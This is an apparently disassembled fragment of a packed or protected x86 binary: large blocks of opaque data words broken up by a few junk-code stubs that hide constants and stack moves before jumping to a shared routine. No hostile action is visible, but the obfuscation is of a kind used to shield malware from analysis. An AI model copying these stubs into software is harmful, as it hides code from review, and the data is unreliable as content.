dd 0D2649B0Ah, 16A062Ah, 766B60A0h, 6E12FDB6h, 40C8F7h
dd 0A2510000h, 0A77F2B95h, 3A1FD3A1h, 0BD69E286h, 15F085BCh
dd 4A9CEB21h, 0BE4420DAh, 1BAD619Ah, 4AC13E67h, 83235210h
dd 8B1DE2C3h, 0C76CBFE3h, 0BD9D49C2h, 2025F336h, 25B74A60h
dd 6C20597Dh, 62457FF6h, 78BF269Dh, 0DFF09C15h, 6415F08Fh
dd 317737B0h, 139559D0h, 0CE956D19h, 0F4B125F2h, 0F81ED20Bh
dd 0E6001E78h, 0CE600407h, 54CDC077h, 1030D7A8h, 16A85C1Ch
dd 1240A276h, 782DED2Ch, 294DF587h, 0B32C61D6h, 2F210207h
dd 69FBAF22h, 847B2CECh, 8A264AF2h, 323160B6h, 0FA419D1Ch
dd 1D36FDBFh, 184Eh, 95A2DB00h, 0E0C78700h, 0D682FB1Fh
dd 15F085D5h, 1534C67Ah, 28h, 95A29Eh, 0C975FE87h, 1FD3A1F1h
dd 10ACD084h, 15F0A7EFh, 3167E094h, 27585992h, 0CDF0333Bh
dd 0A3C8DA00h, 0C930C2E6h, 369D6245h, 9D68679h, 632746DCh
dd 0D2000003h, 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h
dd 0DA269D64h, 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h
dd 6F1B945Dh, 19AD8297h, 457FF22Ah, 570B9D62h, 0D138AF50h
dd 0FEAA2366h, 15F0A9E9h, 0CF327636h, 0F3B272ABh, 50507A0Ch
dd 7AC5D855h, 0FD8F33D7h, 0F35D895Dh, 6E70EF25h, 74FC8CCDh
dd 582109h, 0A2AE0000h, 0A78C7E95h, 8F17EBE8h, 43BF0E3Bh
dd 5505A9A8h, 8F08AC55h, 0F07A3EE3h, 7622AB15h, 25F2BA9Eh
dd 0BB577D31h, 7C54BF8Eh, 83377094h, 0FDD5810Ah, 9025F366h
dd 69B4B6DCh, 170AD540h, 0EDC161F3h, 5325F34Dh, 68310AD4h
dd 850974E8h, 0E7h, 946B3CFCh, 62450D70h, 4F570B9Dh, 710339B2h
dd 8B04FDF3h, 7E32C4E8h, 9D5DD629h, 0CE7AF30Ch, 1FD2F7F6h
dd 1FB1D589h, 42EE3C6Bh, 1FD2F76Ah, 2EA549FDh, 0D2FC8F7Eh
dd 0A69ED41Fh, 139D421Dh, 0A007B7DBh, 0B706DE8Ah, 0E5991FD2h
dd 0A106CA41h, 0B705DD89h, 0E4981FD2h, 0E057AE40h, 5F8834ADh
dd 0D415EFCBh, 0F542A920h, 0CA471FCBh, 26DA25F1h, 5D490982h
dd 466A12A4h
dd 0FBB44CDh, 25F1CA37h, 56F216CAh, 1C133A7Bh, 0EC0CA2D8h
dd 0A5C797A8h, 0CE124881h, 1E6C4AC6h, 8D4DC66Ah, 0AD71E819h
dd 88A108F9h, 3DFA16DAh, 1FC88A7h, 416B0000h, 208549C0h
dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h
dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119AD81h
dd 61451689h, 426529A0h, 0A2CF46BDh, 9A4C7E95h, 86397428h
dd 0AAE069E2h, 75D27016h, 5E0A8330h, 1FD32086h, 0A5416519h
dd 15F00000h, 6038E46Dh, 0F325F23Fh, 0E78B7433h, 0DBCA8AC3h
dd 69159224h, 25F23F91h, 28CC7024h, 3AE31996h, 6139E5A6h
dd 0F425F1BCh, 0E8ED1A40h, 774BE70Bh, 0DD25F1EFh, 0FEBB805Eh
dd 0F09750Eh, 0CEh, 47F37C9Ch, 1FD3A16Fh, 7A2A4E02h, 8C40D22Dh
dd 0B555E71Ah, 1FD3A6C6h, 0B52CD3D4h, 0D049B6F1h, 0A6C39B47h
dd 0A2561FD3h, 0A295EC7Eh, 8A4076EFh, 3BC6E4F4h, 0A51B9715h
dd 2B734F7Fh, 1438C138h, 30C6EF9Bh, 3BFB15F1h, 3871956Ah
dd 91A60D84h, 97D783FCh, 3A1C149Dh, 594D0D86h, 1BA431A8h
dd 14DC976Fh, 52762A2Ch, 96FD04A2h, 0FA6841ADh, 0EB739228h
dd 5A000000h, 7438AF52h, 9357CE31h, 0AF73EA17h, 0CA8E05FAh
dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h
dd 0F7A31CE5h, 19AD811Fh, 45077AB2h, 471FCB61h, 0DA1FD3A1h
dd 2901AD26h, 0BC1FD3A2h, 29ED6408h, 7D0A817Eh, 0B8CCC247h
dd 0F5A50D57h, 15BD4FB0h, 62458EF1h, 50570B9Dh, 337636AFh
dd 0CA31A8CCh, 79AF286Dh, 0B59022CAh, 0FB293505h, 0F248052Bh
dd 630F88ACh, 15F8F04Ch, 0E79B2DE1h, 4C83FC0h, 0B22FDAA3h
dd 0BB0F3D4Bh, 0A3E58517h, 81D27769h, 7235ECF2h, 0A8340CB8h
dd 13C75279h, 0A916EE9Ah, 0F5A95279h, 9116DA51h, 8128DC6Eh
dd 6E45057Eh, 43670FA1h, 3EA01FB1h, 0B54C5A1Ah, 39C6E191h
dd 58A700C0h, 9D0BD132h, 4A6EC34Eh, 67980FD3h, 0E1B965EEh
dd 0FD5279CFh, 6A1E57A8h, 395B446h, 1E000000h, 674540A7h
dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5386A234h, 0C381E389h
dd 4, 4BF57h, 0FB290000h, 241C875Fh
db 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 7DF6h
mov [esp], edi
push eax
mov eax, 344576AEh
mov ecx, 36F31573h
xor ecx, eax
pop eax
xor ecx, 49074CBh
push esp
mov edi, [esp]
add esp, 4
push eax
mov eax, 8
add eax, edi
mov [eax], ecx
mov eax, [esp]
add esp, 4
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 50h
dd 357576B0h, 0FBB82289h, 3062622h, 97E0FFC5h, 466F81A4h
dd 6C4312D8h, 0AB3A5327h, 944DB356h, 5E2404CEh, 0A3F452Bh
dd 7C73AA99h, 0A41D566Bh, 0C74B1389h, 2B155662h, 937F6B05h
dd 7C4C3849h, 9F5AE16Eh, 344BFB2h, 780488B5h, 5D2B571Ah
dd 2E3D8FFCh, 0E37A811Eh, 503CB4E0h, 4C290A52h, 197DF265h
dd 7346284h, 0EB4AAEE3h, 1E343704h, 569E90Fh, 65470000h
dd 4461259Ch, 2A8044BBh, 0D9C60D7h, 0EFB77BF2h, 954F9B12h
dd 74EB1690h, 950C03B0h, 0B32AD7D1h, 0D047B8EFh, 0AE28E07h
dd 9D19AD7Fh, 0A753DC65h, 19AD7ECFh, 0FA05A262h, 45CF3256h
dd 0EE249D62h, 572C5F28h, 0E41D8926h, 0E206AA52h, 0F70A9C50h
dd 14EBBC80h, 51D9CE82h, 0D38BCDA5h, 8AC601Fh, 1CE3C276h
dd 0B0DDD68Ah, 0F8A82B20h, 0CC5E02CAh, 0DD6F9218h, 7D83F1B3h
dd 0F1F70FF5h, 0ABB17C62h, 11E9951Eh, 0A41FD2B3h, 8D51CCF0h
dd 75EC1394h, 910AF7B1h, 469D285Bh, 89AD694Fh, 0A75A4E12h
dd 0BD526115h, 0CF30772Bh, 0E021893Dh, 0F40B9A4Eh, 6FB22CB7h
dd 9624C839h, 0B0515919h, 0D752761Eh, 738E1A07h, 0AFEAC4FAh
dd 0B341A86h, 0D317875Fh, 0C2661A1Fh, 4463279Eh, 7305FAAFh
dd 0F59527CBh, 1FD31820h, 8BB02EB9h, 0F09436CEh, 74DFh
dd 62456C00h, 996B0B9Dh, 301FD3A1h, 9B0371A7h, 8719F6BDh
dd 0B7DFB9DFh, 607EF91Dh, 94BB9EDBh, 1B8F4FF0h, 88AC54E6h
dd 1EFh, 0BC7C7C00h, 42F216E9h, 9A239C63h, 0D3A216EEh
dd 0D1F5A91Fh, 0E51A8B3Fh, 0F8FBAC6Ch, 1CAE52ADh, 2FC14068h
dd 2DBFE387h, 3DCF3079h, 0E73AA433h, 8C841BEh, 25CD5FA2h
dd 0A9CD3275h, 44396E32h, 17C83028h, 4AC1655Ah, 0A06145D3h
dd 1AF29E27h, 0AD1FD3A2h, 8F43D5F9h, 0A357E916h, 43BCED06h
dd 4F590D9Fh, 54DF20B2h, 0ED12978Ah, 904EC949h, 75EC1591h
dd 7709F6B1h, 926D3AFAh, 7A325800h, 0D7A1F6F0h, 47631337h
dd 808125E5h, 0D2AA46EEh, 651FD2CAh, 58FC05A5h, 3B6E22B4h
dd 297E32C4h, 5B1A44D6h, 651FD76Ch, 0D608979Dh, 647AF957h
dd 94F2F2D7h, 763BF0h, 45C80000h, 0EF129461h, 7F11B55Dh
dd 0F5CD7902h, 881FD3A1h, 0AA00B0D4h, 2CBBC557h, 0BE376FB2h
dd 0FD761AF5h, 717A85C7h, 0CFF36AE9h, 0EF129458h, 0FF00A95Dh
dd 528C0B6Dh, 94F0E0E9h, 5E4DF0h, 45DA0000h, 0B8021E61h
dd 7C917EA6h, 0D35B4756h, 2BCFCEC1h, 3EC3E599h, 0DE6DACh
dd 71A78521h, 0E217EE53h, 865EFA00h, 0D91FD345h, 0D345552Dh
dd 0FB34E81Fh, 0B52CA347h, 0D9F6045h, 0D3A1986Dh, 38A6311Fh
dd 94BCB603h, 42EE77F0h, 1FD3AD6Ah, 7F2EFB10h, 0E4777A1h
dd 19D365Ah, 2A000000h, 23906545h, 0EB25AECh, 20DFC87Ch
dd 33C0E7A7h, 0C2E68A77h, 0D52C7C30h, 111B8F43h, 0D3A18D65h
dd 0C86C201Fh, 746AF536h, 7204FDADh, 199826CAh, 0D6D393C5h
dd 55550529h, 69CE35ACh, 7775AB24h, 28E00322h, 0EADCEA10h
dd 0D7DBC598h, 2D8E3AB3h, 0D215EFDCh, 697EC99Ch, 0D87C2040h
dd 0EA159246h, 7F8AF73h, 0C36FF875h, 25F285EBh, 0AA6CA7Eh
dd 25F28538h, 0F7FE34C1h, 0EEC2731Bh, 0F1B9913Dh, 984C25F1h
dd 8955D0F4h, 6F1B0F98h, 25F1F197h, 7A0CF5B3h, 41E599D2h
dd 5EA106CAh, 708F18CCh, 0FFDF5ADEh, 376E8522h, 0EA8E36C8h
dd 0CF0C973h, 2A1D0975h, 94000001h, 8124DFD4h, 0A048DA7Eh
dd 95A2197Ch, 3D518700h, 91903DB9h, 15698752h, 0B58C37EFh
dd 0A76C1891h, 5415F029h, 4D5A0EA0h, 30773BB2h, 1E893DCFh
dd 50CB4FE1h, 0EB14938Eh, 8327E774h, 24C83772h, 0C42F6A00h
dd 36BE0975h, 4B000000h, 0B4F293A2h, 6F13BB4Dh, 0A2E24AF6h
dd 0A1551FD3h, 0A1976F0Fh, 9B261FD3h, 97FA3B43h, 0A30A721Eh
dd 7D3D1FD3h, 7AB3D728h, 2C24FC6h, 1F3A5EB1h, 0A9h, 0BDF37CA8h
dd 7B7011F2h, 0DE581F2h, 291FD2EEh, 49F1837Ch, 0E5385C10h
dd 90C63F52h, 0F7CF4E4Bh, 58D1F511h, 0F00E23ACh, 52E49815h
dd 0BDEA099Eh, 6408B042h, 817E29EDh, 0E804FEFh, 740325F2h
dd 3AF0B76Ah, 0F20EB68Eh, 0F1954925h, 0FE214278h, 1CCB1ECDh
dd 0AEB13531h, 0E60AAE41h, 5A2F086Fh, 706C35E1h, 2DE11C18h
dd 3FC0E79Bh, 429C1BADh, 6814FB3Ch, 880E8B0h, 941D963Ah
dd 18F610E8h, 857C2C2Ch, 0E41B8C4Ch, 0F7A31C40h, 223EDA2Eh
dd 0FF10A363h, 77EEA2DBh, 0C692B4EAh, 2371075Eh, 0EE1451E4h
dd 4C70526Ah, 95A2E9h, 8612DB87h, 0D38715F9h, 210F245Ah
dd 0F3BFC1ABh, 0FB749B6h, 1B5476Bh, 1EE259A6h, 1DF5A189h
dd 0B025FA23h, 3B77D6FCh, 54F7A403h, 7B7E1EB0h, 5B1711C9h
dd 980F12CCh, 7B2CF067h, 6B3EF284h, 0F1700294h, 8C7334EDh
dd 0A9565115h, 0AF817h, 7C810000h, 8113EEBCh, 67B5D9h
dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh
dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 5D545586h
dd 4C581h, 0ED830000h, 242C8704h, 2752685Ch, 14890000h
dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 56242C89h
dd 2623FEBEh, 8BF28906h, 0C4812434h, 4, 1C4C68h, 24248900h
dd 4240481h, 5D000000h, 1DBA5252h, 296B873Ch, 5A042454h
dd 8108458Fh, 3C1D0845h, 34FF6B87h, 0C4835D24h, 24148B04h
dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFF95422h
dd 4C1E854h, 0B8F41A34h, 62628D9h, 0E0FFC503h, 561DCCE5h
dd 1232FAh, 79EE12F5h, 0F562AD2h, 1FCABBD4h, 2A996B5Eh
dd 20BF59CAh, 33977522h, 538ED887h, 15A10E60h, 6DE9FFA6h
dd 2DC6A1CAh, 25584D1Ah, 14BFEDAAh, 7C1EE413h, 23222DBFh
dd 60E21305h, 54171139h, 57413773h, 330FAB19h, 3386F81Ch
dd 84F804EBh, 12E90854h, 76000005h, 9054CB36h, 0AF73EA15h
dd 0CB8F06FBh, 0E6AA21DEh, 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h
dd 5BA602C6h, 788720E4h, 13BF3801h, 19AD783Bh, 4D0D96CEh
dd 2285A966h, 0B9D6245h, 0FFA64F57h, 22C66E00h, 3FC0E7ABh
dd 377030ADh, 6A8E36C8h, 8012EDBAh, 3A36CD03h, 0A85D35E1h
dd 3CF01FD2h, 34652616h, 0BA456010h, 8911E28h, 0D34B845Ch
dd 0B363171Fh, 0D47C0EF3h, 78A935B0h, 9559D02Fh, 0B377EE13h
dd 0C67A0CF5h, 0FE9022EDh, 744CF881h, 71FD34Bh, 647FE6D1h
dd 0F69AE718h, 9A8757D2h, 0B87CF30Eh, 0DE7E10EFh, 1FD2CB09h
dd 74C717A2h, 0F0946B25h, 45C8h, 62455500h, 996B0B9Dh
dd 301FD3A1h, 0B70239A5h, 56F094BCh, 1, 9F6045E3h, 314C590Dh
dd 853E8CBCh, 0C63FE37Eh, 92211690h, 7DA18A93h, 8D7237EBh
dd 7C62F1FBh, 88FF00A5h, 97783BFBh, 1BE4C373h, 61452DA4h
dd 7E15FA1Eh, 1EC2C624h, 3DC2E5A5h, 0D2D38719h, 27B8421h
dd 0D2F97E56h, 0B95D111Fh, 0CC357327h, 0E01F863Ah, 5C820D4Eh
dd 8D651D1h, 41688D19h, 0B4C0343Ch, 8C303022h, 0FAAD71E8h
dd 0EBBF7305h, 0A3228416h, 0C8C9003Bh, 0A664F094h, 0DB000000h
dd 0C3738C1Bh, 92F519E6h, 0EA06145h, 2AD7D191h, 0AD545606h
dd 0C041671Bh, 0D1307A2Eh, 38A6353Fh, 0AE40C1E9h, 0CD5C6206h
dd 5F961011h, 9E15B946h, 0BC35CCDAh, 0A1AF8733h, 0E8CB1FD3h
dd 163AEE27h, 26D9D084h, 0A07824ADh, 331FD3A1h, 15C95B7Fh
dd 2BDF719Eh, 0E5EF817Eh, 24D08856h, 1FD3A14Ch, 29872BDFh
dd 0C20734AAh, 6BF094BAh
dd 5Bh, 0EBBC7CF8h, 2ADA8214h, 47EF8180h, 0CE337323h, 0C20883Ch
dd 0D3A18860h, 0C3671B1Fh, 0E1208A4Ah, 0F183A74Fh, 66BB23B2h
dd 0BD4AC140h, 9410E687h, 86AA36A8h, 9F604523h, 5B07900Dh
dd 1FD3A183h, 0A23E6216h, 1FD3A1CDh, 3803DB66h, 0F094BC61h
dd 68Ch, 67430300h, 7C13769Ah, 19CA5D46h, 97BB45A1h, 0AC3EC3E7h
dd 6644AFF8h, 0B165F79Bh, 0C77B0D02h, 719E15DEh, 19337DFh
dd 0B77668F7h, 0ED34AA29h, 40CD44BDh, 0D7D03380h, 4AF28428h
dd 3164D326h, 9DAB0CB8h, 9C5015F0h, 0AE51560Ah, 0DE01FF35h
dd 2B628965h, 0DBCC9007h, 55159224h, 0EE8AAE53h, 25F2461Ch
dd 59C816A5h, 763AB14Eh, 883CCE31h, 0CA4EE01Fh, 40C98F4Fh
dd 0F245BC94h, 779B4F25h, 0C09DE0C7h, 38A8620Fh, 812BA246h
dd 9753A38h, 133D5h, 1D8C4C00h, 27D350E2h, 25F2274Fh, 668A2EE2h
dd 95A203h, 0B73F5187h, 0B0A1673Bh, 0D3952C04h, 670BBF1Fh
dd 7D0FF0B7h, 0AF38B1D5h, 2145BAEFh, 0F0AAC085h, 27B96D15h
dd 54CB3473h, 56E81790h, 718E19D9h, 631337DFh, 0C42BB44h
dd 223D0FBDh, 1DC942E7h, 25F2E945h, 6E0024D8h, 0B26F6FEAh
dd 0E9930AF5h, 9740490h, 3B3Dh, 0BC7CCA00h, 456313EEh
dd 0F04598BCh, 147C28A1h, 871FD3A3h, 4C441D3h, 0A03C60AFh
dd 1FD3A1C8h, 4612CC57h, 50E22D86h, 43184A8h, 0F8600C85h
dd 6B1FD3A2h, 8D1140B7h, 9A000000h, 870095A2h, 0F0BB52DBh
dd 9A13C715h, 0D31D0DAh, 6A3EFE7Bh, 395D0597h, 6AE11E89h
dd 85FE01A6h, 0BB7850FCh, 570B25F2h, 3201A133h, 0B525F2BDh
dd 0EA426828h, 0F2BC663Eh, 0A145F925h, 0C843670Fh, 639C0B16h
dd 0DFB285ECh, 0A7A4BA66h, 83371C18h, 0F6B474F1h, 0E6B28A36h
dd 91452C18h, 0FEA75BEDh, 23C76F01h, 9B584FFFh, 3FC0E70Ch
dd 0CF6105ADh, 5FF18327h, 0B780FEE0h, 97AD59D2h, 2A223ED1h
dd 3C72FF76h, 6DD18211h, 0E84B6F1Fh, 870095A2h, 0F98CC5DBh
dd 12A45815h, 3FB6495Eh, 41D32C7Bh, 0CA386BA1h, 1BA43133h
dd 6C77976Fh, 52762A34h, 915107D7h, 0AD55E718h, 31CED989h
dd 0F8A42DBAh, 346C7820h, 0ED8F7DB3h, 8AB64AEBh, 9512C2E6h
dd 8524D86Ah, 0FECB017Ah, 0CAEB7C86h, 0C153E509h, 0FCBC9C42h
dd 833357AAh, 27D8CF24h, 0D249ED95h, 0D466990Eh, 0FB5h
dd 467C3E00h, 8F1D8E59h, 0FC05A1FAh, 7FE63458h, 89A6745h
dd 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h
dd 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 245A6886h, 4890000h
dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243C89h
dd 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h, 68535124h
dd 5D13350h, 0C1E3D15Bh, 0F38106E3h, 9834B996h, 495BD989h
dd 6B3BF181h, 0C1812656h, 1B370FA7h, 9BF18149h, 897414A3h
dd 8B5459CFh, 0C481241Ch, 4, 8B951h, 0D9010000h, 59018F57h
dd 5B2434FFh, 0FF04C483h, 815F2434h, 4C4h, 4EACE900h, 8A29FFF9h
dd 0B1B891Ch, 0D95D05ABh, 2E49B899h, 0C5030626h, 25AAE0FFh
dd 8C7B06C2h, 0FD37100Ah, 0DEA04D03h, 8114F3Bh, 7CB031BCh
dd 8411452h, 2F731E04h, 93213959h, 23DF3FE4h, 17706BFh
dd 33D3653h, 6D62596h, 8F33C2Eh, 0B0826B66h, 0E713E21h
dd 33DF515Bh, 31471103h, 0E04E4B85h, 0B2D16D6Fh, 50932EFh
dd 0E05419D4h, 883D447Ch, 75A55D9Ch, 0F5FD4139h, 67771DAEh
dd 754B484Ah, 665C5D56h, 0CD00332Eh, 8D8D7549h, 6263058h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 72C35040h
dd 0D49FB709h, 6614D235h, 89EF3BBAh, 1F0B5D8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 921B59Bh, 8766BC04h, 20C585C7h, 6FE0061Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0C73CADC3h, 1F137D85h, 6, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 3A56A39Bh
dd 8B66DFB2h, 29B5FFD6h, 6A061F0Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CB4AC355h
dd 2D5995FFh, 820F061Fh, 6, 5FB2D681h, 0EE94642h, 10000000h
dd 11C3201Bh, 20103851h, 30B83FAEh, 0FF006AFCh, 1F1D4595h
dd 0EBC08B06h, 99E5793Ah, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h
dd 79DA8DBAh, 427D973h, 0AD7873C2h, 98A0E8EDh, 0D16D4F9Fh
dd 0D49B9EAEh, 1D6DE361h, 0EA924018h, 28516132h, 3C99616Ah
dd 0EB58C6FAh, 0FCD6A04h, 5C9E944h, 9A30000h, 0E8BD81F8h
dd 0CEDCA017h, 0B1F8BC33h, 9313D74Eh, 0F1ABF76Eh, 0D047BAECh
dd 0F168A70Ch, 0F867B2Dh, 2CA35C4Bh, 663EEA63h, 0F919AD71h
dd 62454EC1h, 4F570B9Dh, 0CDA29330h, 7FFD23DCh, 62D97D65h
dd 7DE9FD5h, 0D42F545Ch, 45538AC7h, 8BAF5389h, 0A133CCDBh
dd 0CC45BAEDh, 0B0BF9743h, 0CFDB1FD2h, 9545F932h, 0B65EF011h
dd 594C0092h, 496014A6h, 387024B6h, 0DF8F37C9h, 9CA638C9h
dd 565CD10Dh, 9D0A17C7h, 8127EB62h, 63450980h, 0ABEF259Eh
dd 7EC7AF31h, 0D24FE105h, 5355D79Ch, 4266F656h, 5CEE2192h
dd 0BEF500A8h, 7317BF51h, 857A2DE1h, 845AE9F3h, 429C1BA9h
dd 0B1B6C9DFh, 0F3C24575h, 53178E32h, 7919AB54h, 1FD2E6A4h
dd 2C2CB23Dh, 5A261EF6h, 0F2167898h, 94FA1D5Ch, 7CB0F0h
dd 453D0000h, 441CC862h, 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h
dd 2FCF6105h, 1FD3A15Dh, 0C67569F4h, 0F094BCF3h, 0FC09043Ah
dd 461CB669h, 18922h, 45160000h, 590D9F60h, 2FFA74Ch, 0ADA2C870h
dd 4C9E4929h, 0F4A83ADEh, 9BD14AB5h, 0E5724CF4h, 3DCFF384h
dd 4DDF2089h, 0C2E80D99h, 0CA099B3Fh, 848AA33Bh, 0EAC26EF7h
dd 7D1FD33Dh, 8416EBBDh, 991438DCh, 36C9DC45h, 53ACFBBFh
dd 614565DCh, 4B5A0EA0h, 239E22B4h, 0C14066BBh, 0A8FDBD4Ah
dd 0F91DC557h, 0FA15E49h, 20B24F5Bh, 9C9F3FBEh, 0F094BAADh
dd 6E00h, 61458D00h, 505A0EA0h, 86151FB1h, 24DDC958h, 476020ADh
dd 0C2E494B8h, 0B0F9AD3Fh, 0C9E6343h, 7A2EC064h, 9044D639h
dd 0C254E619h, 34929B43h, 371229B5h, 76F094BAh, 59h, 1E614503h
dd 615D3AD9h, 0CD327778h, 3FF38529h, 52069869h, 0F70AA053h
dd 8719BD65h, 9B2DD2D3h, 17D65371h, 0EEF409E4h, 73AE7F5Fh
dd 7F27FAE4h, 45940B82h, 6D0D9F60h, 1FD3A198h, 0AAFDF8AEh
dd 6B1FB155h, 0A234C63Bh, 4572BB23h, 421724BAh, 6BF094BCh
dd 1, 906545F8h, 0B3BE6419h, 0DCAD9EBAh, 0E51B9438h, 941ACD18h
dd 0E01F86D8h, 0DE02A64Eh, 0F00F984Ch, 5FCAA5Eh, 19E6BF73h
dd 0F0EE7D87h, 0AE30AF3Dh, 0BFF53773h, 7DAC61Ch, 3109A5E4h
dd 0C41FD2FCh, 0B95DA404h, 379E15h, 768148Dh, 6C15F012h
dd 53A58736h, 8FB58227h, 8C2AEDACh, 6DA6CA7Eh, 347327B9h
dd 179054CBh, 30470466h, 0E0840346h, 9511D14Eh, 17BB4660h
dd 1DB9DD85h, 25F1D64Bh, 238747D4h, 0D6855D09h, 641825F1h
dd 62862EC0h, 0A161F7E7h, 4BC4EF04h, 0D4D383A7h, 9E27B42Bh
dd 0D6916915h, 702425F1h, 0F1D6FCD4h, 0B7DB8F25h, 0CD5FA007h
dd 0E6199050h, 6A9512C2h, 5D954D8h, 21F28B1Ch, 0CE7E2DA1h
dd 0B963DA7Eh, 97552E0h, 1830Dh, 95A29A00h, 16DB8700h
dd 0C315F0B7h, 0CA5CA503h, 0C9387222h, 72EB8F37h, 1A02B3E9h
dd 0AA2320D0h, 0F38F360Eh, 0F115C925h, 3FCAB5Fh, 25DCCA8Ah
dd 50C7EB93h, 52E41B8Ch, 7521099Eh, 25F38F9Dh, 46D87C30h
dd 0C19747C2h, 664DA601h, 0CB6F17A9h, 0EB6B9139h, 4DA0671Fh
dd 23843458h, 82D63DCh, 6619CA17h, 0FA8DFA15h, 5D236BD4h
dd 0F014B849h, 0C68ACF79h, 4C230974h, 0B0000000h, 85FE93A2h
dd 0A17850FCh, 4B0B1FD3h, 6C14A65Bh, 0A22BA4C8h, 0C8F5886Ch
dd 0E60A18F0h, 0D380E24Ah, 0FA1551Fh, 0D37F976Fh, 439B261Fh
dd 1D8BFA3Bh, 29D552E4h, 1FD37F51h, 0E88C30E4h, 815BC36Fh
dd 1ACE1FD3h, 0BE74A3h, 0A2FD0000h, 0DB870095h, 15F0BB52h
dd 0CD8113C7h, 6F9019DAh, 189135DDh, 8DB15058h, 0D5555216h
dd 0BBC8A04Ch, 0A75B25F2h, 0F2BB330Bh, 6E12C625h, 2AD65FDCh
dd 25F2BB52h, 298131E5h, 7A9E46D8h, 0F2BD0FDEh, 78891D25h
dd 8D7432E6h, 0E2FC77FBh, 5D81104Bh, 0FD9AE3C4h, 98E67937h
dd 9E6146F6h, 36F683FAh, 1B6E927Dh, 5400791Ch, 1C196D27h
dd 0FA464h, 9416C66Eh, 5C10496Dh, 18C44DCAh, 2C19AB40h
dd 4BFB1FD3h, 5DF215Ch, 982AD7D1h, 7B56CAF0h, 8C1EB054h
dd 8AADD10Dh, 0F0588E07h, 54ABFE1Bh, 74F41AC2h, 0D42B7AECh
dd 330BB730h, 0C62C19D0h, 0C975EE12h, 223FC29Ch, 77EE6519h
dd 870095A2h, 0F993AEDBh, 0E5772B15h, 12897631h, 0D324594Eh
dd 2D655FB5h, 0D04DDF83h, 0D5679A10h, 636D092Dh, 11E02371h
dd 0E2C55C82h, 9019A61Dh, 23B10CE4h, 0DBB35F68h, 6E6823B0h
dd 0A9CD81BAh, 0D07CAEF9h, 6823B0F8h, 0B25ED78Bh, 6823B0DAh
dd 9C15B96Dh, 1236C9DCh, 22DDCC80h, 63D7DC90h, 23B0DFB7h
dd 1ABE7268h, 2DD4D488h, 45D7287Dh, 959846C1h, 0CB568807h
dd 0E8AC23DCh, 8FAE40BFh, 3, 4540A718h, 54089A67h, 661AAC53h
dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
dd 0DA8E20E1h, 86A234CBh, 450368h, 243C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push ecx
mov ecx, 3D6B6360h
dec ecx
push ebp
mov ebp, 0FBD22F2h
dec ebp
inc ebp
or ebp, 69908DDh
or ebp, 2FC049E8h
neg ebp
xor ebp, 0DA67EA45h
xor ecx, ebp
pop ebp
add ecx, 7B33193h
sub ecx, 389B1E0Ch
mov edx, ecx
pop ecx
push 4BAAh
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ecx
mov ecx, edx
push edi
mov edi, ecx
mov [eax+8], edi
pop edi
pop ecx
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 0EEh
dd 0B821A87Ch, 62635C4h, 0E0FFC503h, 1B0A205Fh, 3341A650h
dd 44EFE1C8h, 283F70E1h, 53F36559h, 1BD77FDBh, 6BAD5BB1h
dd 51E0933Fh, 787053C5h, 1C549BF3h, 0D2E89BBh, 48986DE7h
dd 2C19129Ch, 3205EA67h, 185F3836h, 1FB7617Ah, 1FA0E69h
dd 424DC014h, 780F8F7Ah, 1E17D8BFh, 9FD3422h, 7719B5EAh
dd 15AD562h, 0ADE404EBh, 2EE918D6h, 6A000005h, 8448BF42h
dd 0A367DE21h, 0BF83FA07h, 0DA9E15EAh, 72BE35CCh, 10F1B5B8h
dd 31DED599h, 4FB2F6BAh, 6C9314D8h, 7B32CF5h, 19AD6B2Fh
dd 45178AC2h, 570B9D62h, 773BB24Fh, 893DCF30h, 0D24FE11Eh
dd 42689712h, 0C4A15AEh, 0B6668A48h, 747E10EFh, 7F28F9E5h
dd 63450980h, 649A279Eh, 67482F28h, 0C1719511h, 0D4881AE7h
